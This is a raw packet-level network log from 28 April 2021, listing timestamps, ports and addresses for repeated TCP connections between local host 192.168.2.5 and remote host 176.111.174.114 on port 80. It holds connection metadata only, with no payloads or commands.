Apr 28, 2021 23:22:33.468998909 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.469003916 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.469014883 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.469027042 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.469050884 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.469060898 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.469074965 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.469098091 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.469098091 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.469132900 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.469163895 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.518795013 CEST	49746	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.520260096 CEST	49747	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.562697887 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.562736988 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.562764883 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.562772036 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.562788963 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.562797070 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.562815905 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.562836885 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.562840939 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.562844038 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.562866926 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.562872887 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.562884092 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.562892914 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.562905073 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.562918901 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.562939882 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.562946081 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.562958956 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.562971115 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.562983036 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.562994003 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563014984 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563024044 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563039064 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563061953 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563062906 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563086033 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563107967 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563110113 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563136101 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563138008 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563162088 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563165903 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563185930 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563188076 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563210011 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563215971 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563227892 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563240051 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563263893 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563282013 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563287020 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563299894 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563316107 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563334942 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563344002 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563365936 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563373089 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563390017 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563400030 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563410997 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563426018 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563446999 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563452959 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563472986 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563477993 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563491106 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563503027 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563527107 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563534975 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563555002 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563565969 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563580036 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563589096 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563604116 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563632011 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563638926 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563658953 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563659906 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563687086 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563697100 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563714981 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563738108 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563739061 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563762903 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563769102 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563793898 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563793898 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563818932 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563832045 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563844919 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563870907 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563874960 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563895941 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563896894 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563922882 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563931942 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563946962 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563956976 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563973904 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.563975096 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.563994884 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564002037 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564014912 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564024925 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564038038 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564049959 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564074993 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564083099 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564095974 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564096928 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564126015 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564151049 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564155102 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564177990 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564192057 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564203978 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564223051 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564229012 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564254999 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564254999 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564279079 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564280987 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564296961 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564306974 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564325094 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564332962 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564356089 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564382076 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564389944 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564407110 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564408064 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564433098 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564436913 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564455986 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564457893 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564476967 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564482927 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564502954 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564505100 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564522982 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564529896 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564548969 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564554930 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564563990 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564583063 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564601898 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564605951 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564625978 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564631939 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564646006 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564656973 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564682961 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564688921 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564699888 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564706087 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564729929 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.564730883 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564764023 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.564770937 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.613784075 CEST	80	49746	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.613883972 CEST	49746	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.616831064 CEST	80	49747	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.617299080 CEST	49747	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.617748022 CEST	49747	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.658319950 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658369064 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658387899 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658411980 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658433914 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658454895 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658477068 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658504009 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658508062 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.658529997 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658540010 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.658552885 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658576965 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658598900 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658622026 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658622026 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.658627987 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.658647060 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658669949 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658694983 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658716917 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658736944 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.658737898 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658740997 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.658744097 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.658746958 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.658761978 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658783913 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658799887 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.658857107 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.658860922 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.658864021 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.714358091 CEST	80	49747	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.718087912 CEST	80	49747	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.718317032 CEST	49747	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.833446980 CEST	49747	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.833826065 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.835206032 CEST	49748	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.928129911 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.928221941 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.931421995 CEST	80	49747	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.931535959 CEST	49747	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.933571100 CEST	80	49748	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.933698893 CEST	49748	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.934287071 CEST	49748	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.032259941 CEST	80	49748	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.036462069 CEST	80	49748	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.036550999 CEST	49748	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.142191887 CEST	49748	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.143687963 CEST	49749	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.237766027 CEST	80	49749	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.239074945 CEST	49749	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.239108086 CEST	49749	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.239187956 CEST	80	49748	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.240216017 CEST	49748	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.244575024 CEST	49750	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.334456921 CEST	80	49749	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.338783979 CEST	80	49749	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.338808060 CEST	80	49750	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.338901043 CEST	49750	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.339091063 CEST	49750	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.340346098 CEST	49749	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.431710005 CEST	80	49750	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.432993889 CEST	80	49750	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.433186054 CEST	49750	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.455075979 CEST	49749	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.456412077 CEST	49751	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.525912046 CEST	80	49750	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.525979042 CEST	49750	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.550343037 CEST	80	49749	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.550436974 CEST	49749	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.566346884 CEST	80	49751	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.566457033 CEST	49751	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.566893101 CEST	49751	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.675128937 CEST	80	49751	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.679270029 CEST	80	49751	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.679368019 CEST	49751	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.785896063 CEST	49751	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.787817001 CEST	49753	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.886401892 CEST	80	49753	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.886533022 CEST	49753	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.887173891 CEST	49753	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.896274090 CEST	80	49751	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.896362066 CEST	49751	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:34.983829021 CEST	80	49753	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.987946033 CEST	80	49753	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:34.989341974 CEST	49753	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.096029043 CEST	49753	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.097434998 CEST	49754	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.192270041 CEST	80	49754	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:35.192409039 CEST	49754	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.194015026 CEST	80	49753	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:35.194103003 CEST	49753	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.196758986 CEST	49754	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.292818069 CEST	80	49754	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:35.298080921 CEST	80	49754	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:35.298229933 CEST	49754	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.408695936 CEST	49754	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.410180092 CEST	49755	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.503130913 CEST	80	49755	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:35.503281116 CEST	49755	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.503501892 CEST	80	49754	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:35.503572941 CEST	49754	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.503808022 CEST	49755	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.598113060 CEST	80	49755	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:35.602546930 CEST	80	49755	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:35.602648973 CEST	49755	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.705025911 CEST	49755	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.706028938 CEST	49757	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.797935009 CEST	80	49755	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:35.798099041 CEST	49755	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.805779934 CEST	80	49757	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:35.805938005 CEST	49757	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.806541920 CEST	49757	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:35.906529903 CEST	80	49757	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:35.911123991 CEST	80	49757	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:35.911200047 CEST	49757	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.017234087 CEST	49757	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.018218040 CEST	49758	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.116978884 CEST	80	49757	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:36.117062092 CEST	49757	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.117794037 CEST	80	49758	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:36.117881060 CEST	49758	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.121916056 CEST	49758	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.222388029 CEST	80	49758	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:36.226535082 CEST	80	49758	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:36.227430105 CEST	49758	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.333034992 CEST	49758	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.334451914 CEST	49759	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.432599068 CEST	80	49758	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:36.433276892 CEST	80	49759	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:36.433401108 CEST	49758	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.433430910 CEST	49759	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.434108019 CEST	49759	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.533263922 CEST	80	49759	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:36.537502050 CEST	80	49759	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:36.538230896 CEST	49759	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.643366098 CEST	49759	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.644928932 CEST	49760	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.741337061 CEST	80	49760	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:36.742242098 CEST	80	49759	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:36.742454052 CEST	49759	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.742485046 CEST	49760	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.742958069 CEST	49760	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.838645935 CEST	80	49760	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:36.842916012 CEST	80	49760	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:36.843079090 CEST	49760	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.955976963 CEST	49760	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:36.957998037 CEST	49761	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.051601887 CEST	80	49760	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.051690102 CEST	49760	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.054815054 CEST	80	49761	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.054898024 CEST	49761	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.055737019 CEST	49761	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.155050039 CEST	80	49761	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.159174919 CEST	80	49761	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.159279108 CEST	49761	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.267312050 CEST	49761	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.268423080 CEST	49762	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.364140987 CEST	80	49761	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.364167929 CEST	80	49762	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:37.364245892 CEST	49761	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.364466906 CEST	49762	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:37.367507935 CEST	49762	80	192.168.2.5	176.111.174.114
